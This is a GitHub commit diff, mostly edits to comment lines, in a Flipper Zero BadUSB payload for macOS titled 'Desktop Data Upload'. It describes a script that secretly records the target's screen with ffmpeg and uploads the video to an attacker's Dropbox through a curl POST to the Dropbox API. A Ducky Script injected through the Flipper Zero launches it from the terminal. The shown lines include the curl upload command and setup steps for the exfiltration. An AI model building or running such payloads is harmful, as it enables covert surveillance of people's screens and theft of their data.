cleaned up code on Screen Recorder MacOs to Dropbox.txt

This commit is contained in:
Narsty
2023-05-22 20:29:08 -05:00
committed by GitHub
parent 05ccbe0c32
commit a856df020c
+10 -16
View File
@@ -1,21 +1,17 @@
REM Description: This script records the screen and saves the recording as a video file.
REM Converts the recording to an MP4 file.
REM This script records the screen and saves the recording as a .mkv file to the desktop.
REM Converts the recording to an MP4 file and saves the MP4 file to the desktop.
REM Then uploads the MP4 file to your Dropbox API
REM Must have terminal recording privileges enabled
REM It includes a delay of 10 seconds after starting the recording to allow for the desired recording duration. Can adjust the delay for longer recordings line 50.
REM It includes a delay of 10 seconds after starting the recording to allow for the desired recording duration. Can adjust the delay for longer recordings line 47.
REM Must have ffmpeg installed! You can download through the terminal using the brew install ffmpeg command.
REM Must have ffmpeg installed! You can download through the terminal using the brew 'install ffmpeg command'.
REM Author: Narsty
REM Title: Desktop Data Upload
REM Version 1.0 MacOs
REM Copy and paste this /code into the Text edit App on your MacOs
REM Replace the "Your API token Here" placeholder with your actual Dropbox API token. Line 21
REM Replace "USERNAME HERE" WITH MAC USERNAME. Line 24.
REM Copy and paste this code (lines 17-23) into the Text edit App on your MacOs
REM Replace the "Your API token Here" placeholder with your actual Dropbox API token. Line 20
REM Replace "USERNAME HERE" WITH MAC USERNAME. Line 23.
REM Can use terminal command whoami to find username.
REM Save this script below as upload.sh file to your desktop.
REM Save this script below (lines 17-23) as upload.sh file to your desktop.
#!/bin/bash
@@ -27,11 +23,9 @@ curl -X POST "https://content.dropboxapi.com/2/files/upload" \
--data-binary "@/Users/USERNAME HERE/Desktop/screen_recording.mp4"
REM Title: Desktop Data Upload Execution Script
REM Version 1.0 MacOs
REM Now save the below Ducky Script as a .txt file (main Read.me has step by step directions)
REM and put the .txt on your flipper zero to execute the osascript through the terminal.
REM Now save the below Ducky Script (lines 37-57) as a .txt file (main Read.me has step by step directions)
REM and put the .txt file on your flipper zero to execute the terminal comannd script through the terminal.
REM Author: Narsty